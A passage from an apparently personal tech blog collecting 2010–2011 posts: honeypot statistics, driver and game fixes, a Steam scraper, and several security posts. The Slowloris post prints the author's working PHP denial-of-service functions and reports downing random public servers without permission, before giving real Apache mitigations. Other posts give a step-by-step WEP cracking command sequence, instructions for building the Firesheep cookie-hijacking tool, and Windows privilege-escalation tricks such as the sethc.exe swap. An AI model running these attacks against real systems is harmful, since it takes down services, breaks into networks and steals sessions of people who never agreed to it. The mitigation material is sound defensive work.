The other files also mostly contained bots pointing to Undernet IRC channels. Some or quite active and contain around 100 bots, others are empty. Joining some of them gets you an immediate ban.

Country statistics

I grepped through hundreds of lines of logging from Kippo, removed duplicate IP addresses, and used GeoIP to do a country lookup. Here are the sorted results:

CN, China                51
US, United States        42
RO, Romania              26
CA, Canada               12
IN, India                11
KR, Korea, Republic of   10
RU, Russian Federation   10
BR, Brazil                8
DE, Germany               8
GB, United Kingdom        8
TH, Thailand              8
IT, Italy                 7
HK, Hong Kong             6
JP, Japan                 5
TR, Turkey                5
AT, Austria               4
TW, Taiwan                4
BE, Belgium               3
CO, Colombia              3
ES, Spain                 3
FR, France                3
NL, Netherlands           3
SE, Sweden                3
CZ, Czech Republic        2
EG, Egypt                 2
ID, Indonesia             2
MD, Moldova, Republic of  2
NO, Norway                2
PL, Poland                2
VN, Vietnam               2
AE, United Arab Emirates  1
AR, Argentina             1
BG, Bulgaria              1
BH, Bahrain               1
CH, Switzerland           1
CL, Chile                 1
CR, Costa Rica            1
GE, Georgia               1
GT, Guatemala             1
HU, Hungary               1
IS, Iceland               1
KE, Kenya                 1
KZ, Kazakhstan            1
LB, Lebanon               1
LT, Lithuania             1
MN, Mongolia              1
MX, Mexico                1
MZ, Mozambique            1
PA, Panama                1
PE, Peru                  1
PH, Philippines           1
SG, Singapore             1
VE, Venezuela             1

Be wary when interpreting these results, as they might represent "countries containing hacked servers" more than "originating countries of hackers", as hacked servers are, as we've seen, often used to get to other targets.

Concluding remarks

Kippo has now been removed from my server, due to the fact that I don't have enough time to keep checking up on it and I feel a bit uneasy running a honeypot on server containing important data. As I've set, modifying and extending Kippo and analysing the results using a few VPS hosts might be a fun summer project.

The main lesson to take away from this post is this: keep your servers secure. This means running upgrades, but especially choosing strong passwords (or using RSA keys). As we've seen, most malware contained brute forcing tools, trying one server after another.

While analyzing cute honeypot logs is by no means doing what one would call "advanced security research", I did have a lot of fun with it, especially when trying to investigate IRC channels and trailing the hackers.

Some time ago (actually: years and years ago), I myself was (indirectly) involved with a botnet, containing not hundred but thousands of bots, which is a story for another time. I understand the thrill of gaining your first rooted shell, but being on the opposite side of things (that is: running a server instead of hacking one) also shows how script kiddies operate without any regard for privacy, property or data. It is a valuable, but sad lesson.

MotionInJoy Appcrash When Loading Driver

2011-01-18T21:31:00.002+01:00

When trying to install the MotioninJoy driver using the GUI, the program crashes.
Manually running the driver installation works. To do this, open a cmd window with administrative privileges. Make sure you have followed the other MotioninJoy steps and the controller is plugged in.
cd to the "ds3" directory, located in your MotioninJoy install path, e.g.:

C:\Users\Seppe>cd "C:\Installed Files\MotioninJoy\ds3"

C:\Installed Files\MotioninJoy\ds3>

Then run the driver installation program like so:

C:\Installed Files\MotioninJoy\ds3>MijCmd.exe /i drivers\MijXinput.inf
INFO: Updateing driver,Please wait a moment...

A notepad file containing log output will open, it should look something like this:

INFO:MotioninJoy Driver install log
INFO: Driver install Enter
INFO: argc0="MijCmd.exe"
INFO: argc1="/i"
INFO: argc2="drivers\mijxinput.inf"
INFO: DriverPackageInfPath="C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf"
INFO: >>>>>installing driver package.
LOG Event: 1, ENTER:  DriverPackageInstallW
LOG Event: 2, DRIVER&#95;PACKAGE&#95;LEGACY&#95;MODE flag set but not supported on Plug and Play driver on VISTA. Flag will be ignored.
LOG Event: 1, Looking for Model Section [MotioninJoy.NTamd64.6.0]...
LOG Event: 1, Installing INF file 'C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf' (Plug and Play).
LOG Event: 1, Looking for Model Section [MotioninJoy.NTamd64.6.0]...
LOG Event: 1, Installing devices with Id "USB\VID&#95;054C&PID&#95;0268&REV&#95;0100" using INF "C:\Windows\System32\DriverStore\FileRepository\mijxinput.inf&#95;amd64&#95;neutral&#95;452fabe792a00d17\mijxinput.inf".
LOG Event: 1, ENTER UpdateDriverForPlugAndPlayDevices...
LOG Event: 0, RETURN UpdateDriverForPlugAndPlayDevices.
LOG Event: 1, Installation was successful.
LOG Event: 1, Marked Phantom Device with Hardware/Compatible Id 'USB\VID&#95;054C&PID&#95;0268&REV&#95;0100' for reinstall on next plug-in.
LOG Event: 0, Install completed
LOG Event: 1, RETURN: DriverPackageInstallW  (0x0)
SUCCESS: installed package C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf.

You can now use the MotioninJoy GUI again. The driver will be installed.

Slowloris And Mitigations For Apache

2011-01-12T02:37:00.013+01:00

Introduction

If you are the least bit interested in network security, you'll undoubtedly have heard about Slowloris by now.

Slowloris is a piece of software written by Robert "RSnake" Hansen which allows a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request. Affected servers will keep these connections open, filling their maximum concurrent connection pool, eventually denying additional connection attempts from clients. (From: Wikipedia)

The attack is HTTP-based, and attacks webservers by making lots of keep-alive connections and keeping them alive by sending bogus HTTP headers. The server's connection pool gets filled and no other clients can be served. The attack is said to work on a large number of webservers, according to the project page:

Apache 1.x
Apache 2.x
dhttpd
GoAhead WebServer
WebSense "block pages" (unconfirmed)
Trapeze Wireless Web Portal (unconfirmed)
Verizon's MI424-WR FIOS Cable modem (unconfirmed)
Verizon's Motorola Set-Top Box (port 8082 and requires auth - unconfirmed)
BeeWare WAF (unconfirmed)
Deny All WAF (unconfirmed)

And does not affect:

IIS6.0
IIS7.0
lighttpd
Squid
nginx
Cherokee (verified by user community)
Netscaler
Cisco CSS (verified by user community)

Recently, the method was placed in the spotlights again, because both Wikileaks-supporters and non-supporters were using it to DOS a variety of websites and Wikileaks mirrors. Also, recently, an alternative HTTP-based DOS method was found, using POST requests with a large content length (article).

Attack

I run Apache, so, naturally, I was (and still am) concerned about this attack vector. The first step in preventing and solving security problems lies in understanding the attack. Luckily, in this case, the attack is devilishly simple. Based on a PHP version of the original Slowloris attack (found here), I wrote a modified script which also included the new POST-based attack method. The extended version of the script can be found on Github.

The usage is straightforward:

./scriptname.php <method> <number of processes> <server> [host]

Where:

<method> is either "get" for the "slow-headers" based attack, or "post" for the new variant;/li>
<number of processes> determines the number of concurrent requests, around 300 does the trick in most cases;
<server> is the hostname or IP address of the server you want to target;
[host] is an optional parameter which will be used in the "Host:"-request header. If left blank the same value as will be used.

The script really illustrates how simple the attacks are, lets comment a bit on the attack_get function:

function attack_get($server, $host){
    # The following lines set up a normal HTTP1.1 GET request with Keep-Alive
    $request  = "GET / HTTP/1.1\r\n";
    $request .= "Host: $host\r\n";
    # Spoof User-Agent (can be changed)
    $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
    # The following header is, strictly speaking, not necessary, all HTTP1.1 requests are kept alive
    $request .= "Keep-Alive: 900\r\n";
    # Just make the Content-Length large enough
    $request .= "Content-Length: " . rand(10000, 1000000) . "\r\n";
    $request .= "Accept: *.*\r\n";
    # First custom header, name can be changed
    $request .= "X-a: " . rand(1, 10000) . "\r\n";

    # Open socket to webserver and send request
    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);

    while (true){
     # Try adding another bogus header
        if (@fwrite($sockfd, "X-c:" . rand(1, 100000) . "\r\n")){
         # Sleep for a bit
            sleep(15);
        }else{
            # Sending failed
        }
    }
}

The attack_post function works very similar:

function attack_post($server, $host){
    # Send a post request to a random location, eventually you could change this to make sure you post to an existing URL
    $request  = "POST /".md5(rand())." HTTP/1.1\r\n";
    $request .= "Host: $host\r\n";
    $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
    $request .= "Keep-Alive: 900\r\n";
    # "Prepare yourself webserver, we're going to send a lot here, ready?"
    $request .= "Content-Length: 1000000000\r\n";
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $request .= "Accept: *.*\r\n";

    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);

    while (true){
        # Send a small bit of content
        if (@fwrite($sockfd, ".") !== FALSE){
            # Sleep for a bit, pretend that "We're a terribly slow browser, so sorry..."
            sleep(1);
        }else{
            # Sending failed
        }
    }
}

You can also download an OWASP (Open Web Application Security Project) tool found here which does the same. The tool contains a GUI which lets you choice the attack method (slow headers or slow post), has proxy support, and allows setting attack parameters. The slow header attack can use GET or POST requests, whereas my script above can not and only uses GET. Not that it matters much for that method, as the headers are the crucial factor.

The attack certainly works. In my testing, I was able to DOS about 30% of all sampled webservers (retrieved from just random Google results), including my own. A funny side effect of this method is that, once you stop attacking, the server immediately becomes responsive again as the connection pool is freed. The slow post attack worked more reliable in my testing than the slow headers.

Mitigation

Preventing the attack is not easy. The Apache developers are aware of the problem, but some architectural changes are needed before the problem will be solved. In the meantime, some users have made some suggestions and/or developed solutions themselves:

Using Apache modules such as mod_limitipconn, mod qos, mod_evasive, mod_security, mod_noloris, and mod_antiloris.
Making some changes to Apache configuration.
Using load balancers or proxies. Setting up Varnish in front of Apache seems to be a popular choice.
Using IPTABLES to block a lot of simultaneous requests from the same IP
Using Fail2Ban or similar software to ban IP's based on log data
Making changes to Linux/FreeBSD network parameters using accf, pfctl, sysctl

Since I want to try to keep things simple, I'll look at the Apache configuration, and some helpful modules.

Apache Configuration

This mainly concerns tuning the following: KeepAliveTimeout and Timeout.
Timeout does the following (docs):

The TimeOut directive defines the length of time Apache will wait for I/O in various circumstances:
When reading data from the client, the length of time to wait for a TCP packet to arrive if the read buffer is empty.
When writing data to the client, the length of time to wait for an acknowledgement of a packet if the send buffer is full.

This helps a bit, but an attacker could just increase his own sending rate (e.g. lower the sleep time in the functions above) to work around this.

KeepAliveTimeout then does:

The number of seconds Apache will wait for a subsequent request before closing the connection.

Again, the problem remains. An attacker could just increase the sending rate. Note that, when using the slow headers method, the Timeout directive above might not help a single bit, since the docs state that:

Once a request has been received, the timeout value specified by the Timeout directive applies.

But the full receiving of a request itself takes a long, long time.

Turning KeepAlive completely off might help, but it is no real remedy. The POST attack still remains an issue. Tweaking with the Apache options alone is thus certainly not enough.

mod_antiloris

Some developers have released Apache modules geared to mitigate the Slowloris attack. The two most common ones are mod_antiloris and mod_noloris. Both use the same trick to prevent attacks. They both hook into connection attempts:

ap_hook_process_connection(pre_connection, NULL, NULL, APR_HOOK_FIRST);

And count how many connections from the same remote IP are already in the SERVER_BUSY_READ state (the server is reading data from a client). When this count is too high, subsequent connections get denied:

for (i = 0; i < server_limit; ++i) {
    for (j = 0; j < thread_limit; ++j) {
        ws_record = ap_get_scoreboard_worker(i, j);
        switch (ws_record->status) {
            case SERVER_BUSY_READ:
                if (strcmp(client_ip, ws_record->client) == 0)
                    ip_count++;
                break;
            default:
                break;
        }
    }
}

if (ip_read_count > conf->read_limit) {
    ap_log_error(APLOG_MARK, APLOG_WARNING, 0, NULL, "[client %s] rejected, too many connections in READ state", c->remote_ip);
    return OK;
} else {
    return DECLINED;
}

Installing mod_antiloris in Ubuntu is a simple matter of executing:

$ sudo apt-get install libapache2-mod-antiloris

mod_limitipconn

During testing, I discovered that the mod_antiloris module above only protects against the original slow header variant of the Slowloris attack. The slow post was still killing my webserver. So I explored the use of another mod, named mod_limitipconn, which limits simultaneous requests from the same IP.

There is no Apache2 module of mod_limitipconn in the Ubuntu repositories, but a Debian deb package is available online and works fine on Ubuntu:

# Use the i386 package if you have to...
$ wget http://elonen.iki.fi/code/unofficial-debs/mod-limitipconn/apache2-mod-limitipconn_0.22-2_amd64.deb
$ sudo dpkg -i ./apache2-mod-limitipconn_0.22-2_amd64.deb
$ sudo a2enmod limitipconn

Before you restart Apache, create a configuration file at /etc/apache2/conf.d/limitipconn.conf:

ExtendedStatus On
<IfModule mod_limitipconn.c>
        <Location />
                # Global settings here
                MaxConnPerIP 10
                # No limit for images
                NoIPLimit image/*
        </Location>
</IfModule>

Now the server can be restarted:

$ sudo /etc/init.d/apache2 restart

When investigating the source code of mod_limitipconn, we find the following lines:

/* Count up the number of connections we are handling right now from
* this IP address */
for (i = 0; i < server_limit; ++i) {
    for (j = 0; j < thread_limit; ++j) {
        ws_record = ap_get_scoreboard_worker(i, j);
        switch (ws_record->status) {
            case SERVER_BUSY_READ:
            case SERVER_BUSY_WRITE:
            case SERVER_BUSY_KEEPALIVE:
            case SERVER_BUSY_LOG:
            case SERVER_BUSY_DNS:
            case SERVER_CLOSING:
            case SERVER_GRACEFUL:
                if (strcmp(address, ws_record->client) == 0)
                    ip_count++;
                break;
            default:
                break;
    }
}

Not much different compared to the previous mods, except that mod_limitipconn takes into account all possible server states. Not surprisingly, the attack stopped working after installing this mod. You can disable mod_antiloris when using this module. One might wonder which state actually protects against the slow post attack variant. One would except SERVER_BUSY_READ to intercept these as well, as the server is, in fact, still reading a request from the client and waiting for it to complete. However, as it turns out, the server actually switches to the SERVER_BUSY_WRITE state when receiving a POST, as described on the mailing lists:

However, there is a real problem with all approaches that look for SERVER_BUSY_READ: The attacker can just use a URL that accepts POST requests and send the request body very slowly. These connections have the state SERVER_BUSY_WRITE. This problem affects mod_antiloris and mod_noloris, too (but not mod_reqtimeout). Maybe another state SERVER_BUSY_READ_BODY could be introduced? Or the state could be changed to SERVER_BUSY_READ again when the request body is read?

Interesting information, and some valid points.

Modified mod_antiloris

With this in mind I set out to modify mod_antiloris, as I wasn't completely happy with mod_limitipconn. The module works great, but provided too much configuration overhead. I wanted something really simple. The source code for mod_antiloris was quickly edited to include a second counter, and to check the request string (i.e. it has to contain "POST").

switch (ws_record->status) {
    case SERVER_BUSY_READ:
        if (strcmp(client_ip, ws_record->client) == 0){
     ip_read_count++;
        }
        break;
    case SERVER_BUSY_WRITE:
        if (NULL != strstr(ws_record->request, str_post) && strcmp(client_ip, ws_record->client) == 0){
            ip_write_count++;
        }
        break;
    default:
        break;
}

I also modified the logging to look a bit more like normal Apache error lines. This will come into play in the next step. The full modified source code is available on Github.

Installing and compiling the module requires little work:

$ sudo apt-get install gcc apache2-threaded-dev
$ wget https://gist.github.com/raw/773464/4e7250692c34f55725384525b513e71be7541f5a/mod_muantiloris.c
$ sudo apxs2 -a -i -c mod_muantiloris.c
$ sudo /etc/init.d/apache2 restart

Don't forget to disable mod_antiloris and/or mod_limitipconn if you have them enabled (using a2dismod). The modified module uses only two optional configuration directives:

IPReadLimit (default 5) IPPostLimit (default 10)

Note: just as with mod_limitipconn, the ExtendedStatus directive should be set to On for this module to work!

The module blocks both attack variants, and logs to error.log like so:

[Tue Jan 11 00:11:35 2011] [warn] [client 0.0.0.0] Antiloris rejected, too many connections in READ state

Mission successful!

Fail2Ban

The following step is optional and only recommended if you already have Fail2Ban installed and running. Fail2Ban is a handy tool to ban IP's based on regex tests on logfiles. (I've caught dozens of Chinese, Brazilian and Russian trespassers already.)

I use the following filter in combination with the modified mod_antiloris above:

[Definition]

# Option:  failregex
# Notes.:  regex to match the password failure messages in the logfile. The
#          host must be matched by a group named "host". The tag "" can
#          be used for standard IP/hostname matching and is only an alias for
#          (?:::f{4,6}:)?(?P[\w\-.^_]+)
# Values:  TEXT
#
failregex = [[]client <host>[]] Antiloris rejected, too many \(POST\) connections in WRITE state
            [[]client <host>[]] Antiloris rejected, too many connections in READ state

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

I do set the bantime to a low value and maxretry parameter to a high amount however, as the module tends to generate a lot of error lines and legitimate, aggressive browsers sometimes like to make a lot of concurrent requests as well (mod_limitipconn did have the added benefit of specifying mime type to ignore, although its recognition is based on a reduced URI request string from the Apache scoreboard). Fail2Ban uses IPTables, which has the added benefit that once an IP is banned, Apache can stop dealing with its flooding altogether.

That concludes this blog post. I hope you've found the material helpful. Feel free to use any code here and on Github as you see fit.

Compiling Firesheep on Linux

2010-11-19T00:57:00.012+01:00

If you follow the (security) news a bit, you've undoubtedly heart about Firesheep. This tool makes it very easy to listen in on public WiFi connections and intercept HTTP Cookies from a plethora of social networking sites and mail services.

This has been possible for a long time (some tcpdump filters and some cookie setting scripts and you're golden), but this tool makes it insanely easy. You can check out the tool and its description on the main site.

The site mentions that Linux support is on the way, and recently it has become possible to successfully compile the tool on Linux. This is what I did to get it running on Ubuntu 10.10.

cd ~git clone git://github.com/mickflemm/firesheep.git
cd firesheep/
./autogen.sh --with-xulrunner-sdk=/usr/lib/xulrunner-devel-1.9.2.12

This will configure the makefile, this will probably fail until you have installed all the right dependencies. Below are the ones I was missing, yours might differ! Check the output for hints on which package you need to install.

sudo apt-get install libxul-dev xulrunner-devsudo libpcap-devsudo libhal-dev
# Now configure should succeed:
./autogen.sh --with-xulrunner-sdk=/usr/lib/xulrunner-devel-1.9.2.12

We now need to make a small change to the makefile.

gedit mozpopen/Makefile

Change the MOZ_CFLAGS = ... line to:

MOZ_CFLAGS = -fshort-wchar -I/usr/lib/xulrunner-devel-1.9.2.12/include -I/usr/include/nspr

Now we start compiling.

make

This will probably fail with the message:

make[1]: *** No rule to make target `deps/http-parser/http_parser.c', needed by `../xpi/platform/.../firesheep-backend'.  Stop.

This is fixed by running a submodule update:

git submodule update --init

And make again:

make

You'll now have an extension in the build directory. Drag the .xpi to Firefox to install Firesheep, then close Firefox completely.

Firesheep expects your wireless interface to be in monitor mode. The easiest way to do this is to use airmon-ng:

sudo airmon-ng start eth1 #Substitute your wireless interface name

Now start Firefox with root rights:

sudo firefox

Go to Tools → Add-ons, and open the Firesheep Preferences under the Extensions view. Another window opens. Set the Capture Interface to mon0.

Press CTRL+SHIFT+S to open the Firesheep sidebar and to start capturing.

Good luck. Also, be sure to check out Blacksheep, a tool to detect Firesheep tampering on your network.

Aircrack Quick Tutorial (Wireless WEP Cracking)

2010-11-03T21:16:00.008+01:00

Speaking of wireless. The following is just a quick note-to-self, because I always forget the exact commands and end up crawling around the Aircrack wiki for a bit. I though I'd posted this before, but I can't seem to find it.

TTY1$ sudo airmon-ng start eth1
# Assume monitor started on mon0.
TTY1$ sudo airodump-ng mon0
# Scout interesting APs and focus:
TTY1$ sudo airodump-ng --channel X --bssid XX:XX:XX:XX:XX:XX -w output mon0
# OK, this terminal is dumping data. Open a new one.

TTY2$ sudo aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX mon0
# ... Association successful :-)

# Now start the attack. I like opening a new terminal for this.
# Don't bother with the ARP request replay attack.
# The best method to use is the -p 0841 one, especially when using
# a crappy wifi chip like me (3945ABG). Last time I checked, the
# advanced attack methods (KoreK chopchop, fragmentation, caffe-
# latte and Hirte) didn't work.
TTY3$ sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b XX:XX:XX:XX:XX:XX mon0

# Wait until a packet is captured. It's best to use a small one (Size: 68).
# Reinject and the data-counter in TTY1 (airodump) should go up. Now get cracking:
TTY4$ sudo aircrack-ng -b XX:XX:XX:XX:XX:XX output*.cap

#And, optional:
TTY5$ sudo aircrack-ng -K -b XX:XX:XX:XX:XX:XX output*.cap

Ubuntu 10.10: "fixed channel mon0: -1" Aircrack Problem With iwl3945

2010-11-03T21:10:00.005+01:00

After upgrading to Ubuntu Maverick, the Aircrack suite stopped working.

After setting airodump to a channel (like usual):

airodump --channel X
It still displayed its status as:

fixed channel mon0: -1
Some forum users advised to use:

airodump --channel X,X
But this didn't work. For the record, I'm using a Thinkpad X60, with the iwl3945 driver. lshw output:

  *-network
       description: Wireless interface
       product: PRO/Wireless 3945ABG [Golan] Network Connection
       vendor: Intel Corporation
       physical id: 0
       bus info: pci@0000:03:00.0
       logical name: eth1
       version: 02
       width: 32 bits
       clock: 33MHz
       capabilities: bus_master cap_list ethernet physical wireless

Luckily, there is an easy to follow thread on the forums which fixes the problem for a similar card. This solution also worked with my 3945ABG.

Here are the commands:

wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2010-10-16.tar.bz2
tar -jxf compat-wireless-2010-10-16.tar.bz2
cd compat-wireless-2010-10-16
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
gedit scripts/update-initramfs
#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build
#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build
make
sudo make install
sudo make unload
sudo modprobe iwl3945

Alternatively you can also use sudo reboot instead of sudo modprobe if you're unsure which driver module you need to load.

Aircrack should work fine again now. Note that kernel updates might overwrite the module again (and, hopefully, fix the bug at the same time).

Solving Color Problem In DirectDraw Games Update

2010-09-07T23:12:00.000+02:00

I've received a few more e-mails and blog comments containing input and information about the famous DirectDraw palette problem which messes up colors in older games.

In particular, Windows contains compatibility entries in the registry, and Jari Komppa has written a ddraw.dll which wraps DirectDraw.

I've updated my blog post from 2009 once more to reflect this new information. Currently, the easiest way to run Age Of Empires 2: The Conquerors without any hassles still seems to be my tool, which you can find there as well.

P.S.: Also, I will be competing in the Google A.I. Challenge again this year. I look forward to seeing you there!

Missing Icons In Notification Area (Tray Bar)

2010-08-18T23:30:00.004+02:00

A few days ago some of my programs stopped showing their icons in the Windows (7) notification area. A quick peek at the Task Manager revealed that they were, in fact, running.

Changing the notification settings and peeking around in the task bar configuration revealed nothing.

It turns out that Windows 7 stores its tray icons in a registry key. To reset the icons, do this:

1. Open regedit

2. Go to HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify

3. You should see two values: IconStreams (stores program path and other info) and PastIconsStream (stores the icon data), delete them

4. Restart the explorer.exe process (or restart the computer)

5. The missing icons should return, if the volume meter or other standard Windows icons are gone, you can re-enable them in the normal Taskbar Properties dialog

That did the trick for me.

Oldie But Goodie: Privilege Escalation In Windows

2010-08-17T00:11:00.004+02:00

Number One:

Replace C:\Windows\system32\sethc.exe with cmd.exe (e.g. by renaming and/or using a repair CD: with the Vista repair CD you can open "notepad" in the command prompt and execute file manipulations from the Open Dialog).

Restart. At the login screen press "Shift" five times (at this point, you can guess what sethc.exe originally did) and a command window with full system privileges will appear. Often used to replace forgotten administrator passwords:

net user administrator *

Of course, booting some sort of live CD or tool might be simpler.

Number Two:

The btwdins.exe method. On systems with the right Bluetooth service executable, you can execute any executable located at C:\Program.exe with LocalSystem rights. More info here.

Number Three:

A.k.a. the famous "at"-method, there was a lot of talk about this back in the day (about a year ago). Basically, the concept went like this:

Open a command prompt as a normal user, type:

at

If it responds with an "Access denied." error, you are out of luck. If it responds with "There are no entries in the list." then you're good.

Now execute:

at 18:15 /interactive "cmd.exe"

And at a quarter past six a command prompt will appear, with SYSTEM privileges. Sounds sensible, right? Not really, since the only users able to schedule commands are already local administrators.

Note To Self: Remote VNC (Listen) Connection

2010-07-02T22:58:00.000+02:00

Because I always forget these commands and end up double checking them...

Client (Me) - Listening:

vncviewer -listen PORT

(Using UltraVNC on Windows.)

Server - Initiating:

x11vnc -connect IP:PORT

2010-05-16T18:39:00.008+02:00

Get A List Of Steam Games (As Of May 2010)

Using Python and Beautiful Soup. This updates the previous script posted on this blog.

from BeautifulSoup import BeautifulSoup
from urllib import urlopen
import re

CATEGORY_GAMES     = '998'
CATEGORY_VIDEOS    = '999'
CATEGORY_DEMOS     = '10'
CATEGORY_MODS      = '997'
CATEGORY_PACKS     = '996'
CATEGORY_DLC       = '21'

html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1='+CATEGORY_GAMES).read().decode('utf-8')

soup = BeautifulSoup(html_text)
f = open('./output.txt', 'w')

pages = 1
games = 0

print "-- Retrieving number of pages..."
for link in soup.findAll('a', attrs={'href' : re.compile(r"http://store.steampowered.com/search/.*&page=\d+")}):
 try:
  page = int(link.string)
  if page > pages:
   pages = page
 except ValueError:
  pass

print "-- Pages found:",pages

for page in range(1,pages+1):
 print "-- Retrieving page:",page

 html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1='+CATEGORY_GAMES+'&page='+str(page)).read().decode('utf-8')
 soup = BeautifulSoup(html_text)

 for item in soup.findAll('a', attrs={'class' : re.compile(r'\bsearch_result_row\b')}):
  games += 1
  
  #get information
  appname      = item.find('div', attrs={'class' : re.compile(r'\bsearch_name\b')}).h4.string
  appprice     = item.find('div', attrs={'class' : re.compile(r'\bsearch_price\b')}).string
  appscore     = item.find('div', attrs={'class' : re.compile(r'\bsearch_metascore\b')}).string
  apprelease   = item.find('div', attrs={'class' : re.compile(r'\bsearch_released\b')}).string
  appurl       = item['href']
  appid        = re.match(r"http://store.steampowered.com/(\w+)/(\d+)/", appurl)
  appimage     = re.sub(r"\?t=\d+","",item.find('div', attrs={'class' : re.compile(r'\bsearch_capsule\b')}).img['src'])
  
  #write information to file
  f.write(str(appname)+'\r\n') 
  f.write(str(appprice)+'\r\n') 
  f.write(str(appurl)+'\r\n') 
  f.write(str(appimage)+'\r\n') 
  f.write(str(apprelease)+'\r\n') 
  f.write(str(appscore)+'\r\n') 
  f.write(str(appid.group(1))+"/"+str(appid.group(2))+'\r\n')
  f.write('\r\n') 
  
print "-- Games found:",games
f.close()

Python Web Scraping Tools

2010-05-14T00:54:00.001+02:00

Just a note for myself, a list of interesting Python tools for my next web scraping project:

urllib2: extensible library for opening URLs.
PyQuery: jQuery-like traversing and selecting for Python.
mechanize: stateful programmatic web browsing in Python.
Beautiful Soup: not supported/maintained that much anymore. Latest versions are rather slow and buggy.
Scrapy: looks nice, includes the URL requesting part as well, with cookie support and such.
lxml.html: lxml is a Pythonic binding for the libxml2 and libxslt libraries.

Probably going with Scrapy.

Installing Heroes Of Might And Magic III (3) On Linux (Ubuntu)

2010-04-23T13:30:00.002+02:00

...to remind myself because I always seem to forget how to.

1. Put the contents of the CD somewhere (e.g. /tmp/heroes).

2. Install:

/tmp/heroes$./setup.sh

3. Download and run patch with --keep:

/tmp/heroes$wget ftp://mirrors.dotsrc.org/lokigames/updates/heroes3/heroes3-1.3.1a-unified-x86.run
/tmp/heroes$_POSIX2_VERSION=199209 ./heroes3-1.3.1a-unified-x86.run --keep

4. Download the patch for the patch:

Dowload http://downloads.sourceforge.net/goldenfiles/loki_patch-fix-0.1.tar.gz

/tmp/heroes$tar xvfz loki_patch-fix-0.1.tar.gz
/tmp/heroes$cp Loki_patch-fix/fixedpatch heroes3-1.3.1a-unified-x86/bin/Linux/x86/loki_patch

5. Now update:

/tmp/heroes$./heroes3-1.3.1a-unified-x86/update.sh

6. Get the compatibility libs:

wget http://www.swanson.ukfsn.org/loki/loki_compat_libs-1.3.tar.bz2

Extract them to a directory you can remember (e.g. HEROES3_INSTALL_PATH/lib).

7. Start the game with (assuming you used HEROES3_INSTALL_PATH/lib):

LD_PRELOAD=HEROES3_INSTALL_PATH/lib/libstdc++-3-libc6.2-2-2.10.0.so:HEROES3_INSTALL_PATH/lib/libsmpeg-0.4.so.0.1.3:HEROES3_INSTALL_PATH/lib/libsmjpeg-0.2.so.0 HEROES3_INSTALL_PATH/heroes3 -w

Now to get the sound working...

New Theme, Testing 1, 2, 3...

2010-04-01T23:31:00.005+02:00

I've been planning to redesign this blog for a while now. I was going to write up the changes myself (I even built a small PHP-based static blog generator engine I might put online later) before finding out Blogger now comes with a great new template designer sporting some very nice themes.

This frees me of the redesign-work, which is nice, because my design skill are "only okay" at best. However, it might turn out that someone else is using the same design, in which case I'll probably change the background and the colors a bit (everybody likes to be unique).

List of changes worth noting:

Main column is wider (blog should still fit on a 1024px screen). This should make things a lot more readable (images and code were getting cramped in the previous design).
The abstract header is gone and replaced by an abstract background. I think it's a nice touch.
Some small custom css changes.
"Advertisement"-sidebar widget is gone. I only made around three dollars of it, it bothered me, and no one was clicking it anyway.
The black theme (and hence the style switcher) is gone. White is the new black (I kept the dark theme around for nostalgia reasons only, things are a lot clearer using a light look).

The only thing bothering me now is the WYSIWYG editor for writing posts. I wish I could write Markdown (using something like wmd for example).

In fact I'm going to try writing this post in Markdown to see how the generated html looks (which I will copy paste in Blogger)... You can ignore the rest of this post.

This is a heading

Test text please ignore this only to provide some filler text which should look okay from a distance. I would have pasted some dolor sit amet here but I'm too lazy to look it up and don't know it by hard (anymore).

And this is a sub-heading

Test text please ignore this only to provide some filler text which should look okay from a distance.

Another heading

A smaller filler sentence would go here. Let's see how this look.

And another heading

With the last piece of text.

Let's test code and blockquotes

This is what she said:

Here would be a quote. It could be something from a website, too.

And this is what I coded:

print("code sample");
function a_lame_function(){
echo "Python is better.";
}

And now an image

This is a numbered list
It is very nice
But I don't use it that much

The University Of Waterloo CS Club Tron Challenge, And Some Minimax In General - Part 2

2010-03-02T17:48:00.012+01:00

(This is the second and final part in the University Of Waterloo CS Club Tron Challenge post series. You can find the first part here.)

Now that the contest is finished, congratulations go out to the first place winner: a1k0n, well done!

I also wanted to pass on a few remaining interesting links and concepts I haven't yet included or explained in my first post.

How did I do? 144th place. Not bad for a heuristic, but next year I'll be using minimax as well.

A small selection of rounds

I'm including some final rounds to show where my bot did well, and where it performed poorly.

The first game starts of like this. My bot is red.

The board after a few moves. Our bot senses it can reach a wall to block our opponent of by going east...

Which is what happens here. It's easy to see we've won now.

Our opponent makes optimal use of the remaining space, but loses.

The second game. We're red again.

We've been chasing blue for a bit.

To close in on blue, we need to go the other way around. But due to our aggressive manoeuvres, we've made a mistake.

Blue exploits our mistakes and blocks us off. Well done.

A new game, we're red again.

The first moves start of pretty symmetric.

We're chasing our opponent for a bit. Since we cannot reach him by going north anymore, we'll go down now...

